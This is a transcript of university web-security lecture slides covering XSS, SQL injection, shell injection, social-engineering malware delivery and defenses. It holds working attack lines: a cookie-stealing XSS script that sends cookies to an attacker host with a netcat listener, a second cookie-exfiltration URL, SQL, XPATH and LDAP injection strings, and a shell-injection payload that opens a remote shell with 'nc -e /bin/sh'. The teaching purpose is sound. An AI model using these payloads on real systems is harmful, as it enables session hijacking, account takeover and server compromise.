1. Web Security

2. Objectives Understand the complexity of Web infrastructure and current trends of Web threat Understand the complexity of Web infrastructure and current trends of Web threat Understand the mechanisms and defense of major Web attacks: XSS, SQL injection and shell attacks Understand the mechanisms and defense of major Web attacks: XSS, SQL injection and shell attacks

3. Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications > 60% of total attack attempts observed on the Net are against Web applications > 80% of vulnerabilities discovered are in web apps > 80% of vulnerabilities discovered are in web apps Independent security audit Independent security audit Regulatory compliance Regulatory compliance

4. Auditor finding Freeform edit box Freeform edit box –Message to Customer Service XSS issue raised XSS issue raised Must provide a response: Must provide a response: –Prove issue to be a non-problem or –Describe actions to take

5. Anatomy of Web Attacks 1. Attacker breaks into a legitimate website and posts malware Malware is no longer exclusive to malicious Web sites. 2. Attacking end-user machines. Malware on a Web site makes its way down on to a user’s machine when that user visits the host Web site. “Drive-by-download” – happens automatically with no user interaction required Additional techniques which do require some input from the user, but in practice are equally, if not more so, effective. 3. Leveraging end user machines for malicious activity.

6. Anatomy of Web Attacks Source: Web Based Attacks, Symantec 2009

7. Big trend: software as a (Web-based) service Big trend: software as a (Web-based) service –Online banking, shopping, government, etc. –Cloud computing Applications hosted on Web servers Applications hosted on Web servers –Written in a mixture of PHP, Java, Perl, Python, C, ASP Security is rarely the main concern Security is rarely the main concern –Poorly written scripts with inadequate input validation –Sensitive data stored in world-readable files Web Applications

8. Runs on a Web server or application server Runs on a Web server or application server Takes input from Web users (via Web server) Takes input from Web users (via Web server) Interacts with back-end databases and third parties Interacts with back-end databases and third parties Prepares and outputs results for users (via Web server) Prepares and outputs results for users (via Web server) –Dynamically generated HTML pages –Contain content from many different sources, often including regular users Blogs, social networks, photo-sharing websites… Blogs, social networks, photo-sharing websites… Web advertisements, usually third party Web advertisements, usually third party –A webpage can have content coming from 10-20 different domains Typical Web Application Design

9. Two Sides of Web Security Web browser (front end) Web browser (front end) –Can be attacked by any website it visits –Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data Web application (back end) Web application (back end) –Runs at website Banks, online merchants, blogs, Google Apps, etc. Banks, online merchants, blogs, Google Apps, etc. –Written in Javascript, PHP, ASP, JSP, Ruby, … –Many potential bugs: XSS, SQL injection, XSRF –Attacks lead to stolen credit cards, defaced sites, etc.

10. Chicago Tribune Home Page

11. How Are Legitimate Web Sites Compromised? SQL Injection Attacks SQL Injection Attacks Cross-site scripting (XSS) attacks Cross-site scripting (XSS) attacks Vulnerabilities in the Web server or forum hosting software (e.g., shell attacks) Vulnerabilities in the Web server or forum hosting software (e.g., shell attacks) Malicious Advertisements Malicious Advertisements –Many Web sites today display advertisements hosted by third-party advertising sites –Volume of ads published automatically makes detection difficult –Random appearances further compounds the detection Search Engine Result Redirection Search Engine Result Redirection Attacks on the backend virtual hosting companies Attacks on the backend virtual hosting companies

13. slide 13JavaScript Language executed by browser Language executed by browser –Scripts are embedded in Web pages –Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page Used to implement “active” web pages Used to implement “active” web pages –AJAX, huge number of Web-based applications Many security and correctness issues Many security and correctness issues –Attacker gets to execute some code on user’s machine –Often used to exploit other vulnerabilities

14. Cross Site Scripting Attacker goal: their code into browser Attacker goal: their code into browser XSS forces a website visitor to execute malicious code in his/her browser XSS forces a website visitor to execute malicious code in his/her browser Count for roughly 80% of all documented security vulnerabilities Count for roughly 80% of all documented security vulnerabilities

15. XSS Risks XSS abuses render engines or plug-ins XSS abuses render engines or plug-ins Steal browser cookies Steal browser cookies Steal session info for replay attack Steal session info for replay attack Malware or bot installation Malware or bot installation Redirect or phishing attempt Redirect or phishing attempt

16. XSS Example 1 Trudy posts the following JavaScript on a message board: Trudy posts the following JavaScript on a message board: var url = "http://machineaddress:5000/index.html?cookie=“ + encodeURI(document.cookie); </script> Then run a TCP server listening on port 5000 with e.g., nc –l 5000 Then run a TCP server listening on port 5000 with e.g., nc –l 5000 When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

17. Web Attack Demo Flow Chart

18. XSS Demo Instructions Set port forward to bypass the firewall Set port forward to bypass the firewall ssh -L 9000:netsec-demos:2000 ychen@hamsa.cs.northwestern.edu ychen@hamsa.cs.northwestern.edu Note: 9000 is the local port, it's forwarded to netsec- demos port 2000 through hamsa proxy Use http://localhost:9000 to access http://netsec-demos.cs.northwestern.edu:2000 Use http://localhost:9000 to access http://netsec-demos.cs.northwestern.edu:2000http://localhost:9000 http://netsec-demos.cs.northwestern.edu:2000http://localhost:9000 http://netsec-demos.cs.northwestern.edu:2000

19. XSS Demo Instructions (II) Login as ychen and post the script with a sexy title (e.g., hot game!) Login as ychen and post the script with a sexy title (e.g., hot game!) var url = "http://netsec.cs.northwestern.edu:5000/index.html?cookie="; var url = "http://netsec.cs.northwestern.edu:5000/index.html?cookie="; url = url + encodeURI(document.cookie); url = url + encodeURI(document.cookie); new Image().src=url; new Image().src=url; Hi Everyone! Thanks for your cookies! Hi Everyone! Thanks for your cookies! Ssh to that machine (e.g., netsec.cs.northwestern.edu) and run Ssh to that machine (e.g., netsec.cs.northwestern.edu) and run nc –l –p 5000

20. Simple XSS Code var url = "http://machineaddress:5000/index.html? cookie=“+ encodeURI(document.cookie); document.cookie is the browser's entire cookie for the current website document.cookie is the browser's entire cookie for the current website encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL –E.g., changing the space character to %20 –Make the URL less suspicious

21. What can Trudy Do with the Cookie? Another user test458 login as and when clicking the post, cookie is sent to the attacker Another user test458 login as and when clicking the post, cookie is sent to the attacker Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker For more info, http://netsec.cs.northwestern.edu/resources/password- cracking/ For more info, http://netsec.cs.northwestern.edu/resources/password- cracking/ Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

22. XSS Detection A client usually is not supposed to send scripts to servers A client usually is not supposed to send scripts to servers If the server receives … or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred If the server receives … or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred –A sanitized script could look like &ls;SCRIPT>… Any user input must be preprocessed before it is used inside HTML Any user input must be preprocessed before it is used inside HTML

23. SQL Injection Malicious SQL statements run on a database and thus attack the server –XSS can only target other users

24. SQL Injection Example Trudy accesses Bob’s website; in which he does not validate input on his sign in form Trudy accesses Bob’s website; in which he does not validate input on his sign in form –Runs a SQL statement like the following: –select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; Set username to ' or '1'='1 Set username to ' or '1'='1 select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; Effect: picks any row where the username is blank and the password matches or any row where true. Effect: picks any row where the username is blank and the password matches or any row where true. Add “limit 1” to pick the first row Add “limit 1” to pick the first row

25. SQL Injection Detection Input validation on any outgoing SQL statements from the web server to the database server Input validation on any outgoing SQL statements from the web server to the database server –Filter Apostrophes, semicolons, percent symbols, hyphens, underscores, … Apostrophes, semicolons, percent symbols, hyphens, underscores, … Any character that has special meanings must be escaped,.e.g., convert ’ into \’ Any character that has special meanings must be escaped,.e.g., convert ’ into \’ –Only works for string inputs –Different databases have different rules for escaping –Check the data type (e.g., make sure it’s an integer)

26. Shell Attacks Control an actual machine like a web server

27. Shell Attacks Inject commands into scripts that use Linux utilities Inject commands into scripts that use Linux utilities –E.g., with “;” as command separator in UNIX/LINUX CGI programs like perl can use command-line programs (e.g. grep, ls) CGI programs like perl can use command-line programs (e.g. grep, ls) Unsanitized input as arguments can lead to command execution. Unsanitized input as arguments can lead to command execution.

28. Shell Attacks Demo Search engine in MiniBB webserver executes Search engine in MiniBB webserver executes system("echo $user_usr ". $phrase. " >>/tmp/searchlogs"); Put phrase as: >/dev/null; id; echo randomdata Put phrase as: >/dev/null; id; echo randomdata –Hide user ID –Store random data in logs to evade detection We can even get a remote shell ! We can even get a remote shell ! –>/dev/null; nc netsec 5000 -e /bin/sh

29. Defense Approaches Web firewall/IDS Web firewall/IDS –ModSecurity for Apache –Commercial: SecureSphere from Imperva Static code analysis Static code analysis –Open source: Nikto –Commercial: Acutenix Web Vulnerability Scanner Acutenix Web Vulnerability Scanner N-stalker N-stalker Education on good coding Education on good coding –HTML encoding on input (server-side) –Input validation/filtering

30. XSRF

31. Discussion of Symantec White Papers: GETTING ONTO A USER’S COMPUTER (AUTOMATICALLY)

32. Source: Web Based Attacks, Symantec 2009

33. Automatic Attack Exposure Techniques used to deliver malware from Websites to a users computer. Techniques used to deliver malware from Websites to a users computer. Exposure Exposure –Browsing a website –No user interaction is required –Executable content is automatically downloaded

34. “Click Jacking”

35. GETTING ONTO A USER’S COMPUTER (WITH A LITTLE HELP FROM THE USER)

36. Social Engineering Source: Web Based Attacks, Symantec 2009 People are tricked into performing actions they would not otherwise want to perform

37. Types of Social Engineering Attacks Fake Codec Fake Codec Malicious Peer-to-Peer (P2P) Files Malicious Peer-to-Peer (P2P) Files Malicious Advertisements Malicious Advertisements Fake Scanner Web Page Fake Scanner Web Page Blog Spam Blog Spam Other Attack Vectors Other Attack Vectors –Spam –Pirated software

38. How to Protect Yourself (Client side) Update and Patch Software Update and Patch Software –Get latest OS, Browser, Application patches –Browswer Plug-in updates often forgotten Endpoint Protection Software Endpoint Protection Software –Anti-virus software for signature based detection and behavioral monitoring –Update Protection Software Subscription Could miss 70,000 new unique virus variants for one week Could miss 70,000 new unique virus variants for one week Be Suspicious Be Suspicious –Avoid things that seem too good to be true Adopt Strong Password Policy Adopt Strong Password Policy

39. Web Reputation Systems (ISP/Enterprise side) Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. Web Reputation Agent (agent) will first check blacklist/whitelist database deployed locally. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. If the URLs in the database, agent allows/rejects the URL requests DIRECTLY. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Otherwise, agent will send the URL to Intelligent Cloud Network for deeper detection. Web Reputation Agent Local Blacklist/Whitelist Database Local Blacklist/Whitelist Database Web Reputation System in Intelligent Cloud Network

40. Summary Complexity of Web infrastructure and current trends of Web threat Complexity of Web infrastructure and current trends of Web threat Mechanisms and defense of major Web attacks Mechanisms and defense of major Web attacks –XSS –SQL injection –Shell attacks New Web attack trends in Symantec white paper New Web attack trends in Symantec white paper

41. Backup Slides

42. Existing Systems Comparison Existing Systems Comparison Content- based/URL -based Dynamic/ Static Training SetInputOutput IronPortBothMixed URLs from 100,000 Orgs URL Malware, Phishing, and Spam Safe Browsing Content- based DynamicN/AURLMalware and Phishing Web of Trust URL-basedStaticUser CommentsURL Malware, Phishing, and Spam Trend Micro Web Rep BothMixedNot PublicURL Malware, Phishing, and Spam McAfeeBothMixedNot PublicURLMalware, Phishing, and Spam

43. Web Reputation Agent Web Sandbox (Dynamically executing WebPages ) Web Sandbox (Dynamically executing WebPages ) URL Classification Engine URL Classification Engine Crowd Sourcing Engine Phishing Detection Engine Result Processin g Center Webpage Static Detection Engine Webpage Static Detection Engine Web Reputation Agent passes URLs to four fast detecting engines: Crowd Sourcing, URL Classification, Phishing Detection and webpage static engines. Web Reputation Agent passes URLs to four fast detecting engines: Crowd Sourcing, URL Classification, Phishing Detection and webpage static engines. These four engines are lightweight and therefore they can detect very fast. These four engines are lightweight and therefore they can detect very fast. These four engines return the scores to Result Processing Center (RPC), which standardized the four scores and generate a final score. These four engines return the scores to Result Processing Center (RPC), which standardized the four scores and generate a final score. If the final score strongly indicates the URLs are legitimate or malicious, RPC returns the score to Web Reputation. Otherwise, RPC passes the URLs to Web Sandbox, which is a heavyweight detecting engine and will detect the URL by executing the contents in the URL. If the final score strongly indicates the URLs are legitimate or malicious, RPC returns the score to Web Reputation. Otherwise, RPC passes the URLs to Web Sandbox, which is a heavyweight detecting engine and will detect the URL by executing the contents in the URL. Intelligent Cloud Network

44. Fake Codec User is prompted to install a missing codec User is prompted to install a missing codec Codec is actually malware code Codec is actually malware code –Usually a trojan horse

45. Malicious Peer-to-Peer (P2P) Files Malware authors bind content into popular applications Malware authors bind content into popular applications –Files named after celebrities, popular bands –Uploaded to popular P2P sites where they are downloaded by unsuspecting users Openly available how-to materials on the internet Openly available how-to materials on the internet –Details how to build and distribute malware –Pay-Per-Install malware

46. Fake Scanner Web Page Create a web site or product that misrepresents the truth Create a web site or product that misrepresents the truth –JavaScript pop-ups notifying of false need to install operating system updates Source: Web Based Attacks, Symantec 2009 –Tools that claim to scan for and remove adult images, etc.

47. Blog Spam Alluring links posted on blogs Alluring links posted on blogs –Links embedded in blog comments –Direct users to sites that leverage social engineering tricks or browser exploits to spread malware

48. Other Attack Vectors Spam Spam –Emails contain links directing people to drive by download, fake scanner/codec, and malware sites Pirated software sites Pirated software sites –Pirated versions of software are bundled with or comprised solely of trojan horses

49. XSS Example 2 Trudy sends a link of the following URL to Bob that will take him to a personalized page: Trudy sends a link of the following URL to Bob that will take him to a personalized page: http://host/personalizedpage.php?username= document.location='http://trudyhost/cgi- bin/stealcookie.cgi?'+document.cookie http://host/personalizedpage.php?username= document.location='http://trudyhost/cgi- bin/stealcookie.cgi?'+document.cookie A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious

50. XPATH Injection Example Similar to SQL injection Similar to SQL injection Bob has a form that does not sanitize user- provided input before using it as part of an XPATH query:: Bob has a form that does not sanitize user- provided input before using it as part of an XPATH query:: –string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) Trudy again can provide the following password to change the statement’s logic: Trudy again can provide the following password to change the statement’s logic: –X’ OR ‘x’=‘x –The statement thus selects the first account

51. LDAP Injection Example Server using LDAP for authentication Server using LDAP for authentication –User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry Attacker can exploit using special characters Attacker can exploit using special charactershttp://example/ldapsearch.asp?user=*

52. LDAP Injection Detection Detection is based off of usage of special LDAP characters Detection is based off of usage of special LDAP characters –System monitors input for special characters –Either scrubs incoming input or watches for unescaped output passed to database server Detection approach is blackbox Detection approach is blackbox

53. SSI Injection Example Bob has his server configured to use Server- Side Includes Bob has his server configured to use Server- Side Includes Trudy passes input with an SSI embedded Trudy passes input with an SSI embedded SSI inserts malicious code into normal webpages upon next request SSI inserts malicious code into normal webpages upon next request Future legitimate users get content containing the tainted code included by the SSI Future legitimate users get content containing the tainted code included by the SSI

54. JSP Injection Example Similar to SSI injection Similar to SSI injection Bob has a portal server configured to use dynamic code for templates Bob has a portal server configured to use dynamic code for templates Trudy passes input with an embedded Trudy passes input with an embedded malicious code inserted into webpage malicious code inserted into webpage

55. JSP Injection Prevention Prefer static include Prefer static include Don’t allow file inclusion outside of server via Java2 Security policies Don’t allow file inclusion outside of server via Java2 Security policies Firewall rules to prevent outbound requests from server Firewall rules to prevent outbound requests from server Input validation coding Input validation coding Choose portal software not requiring dynamic includes or code execution Choose portal software not requiring dynamic includes or code execution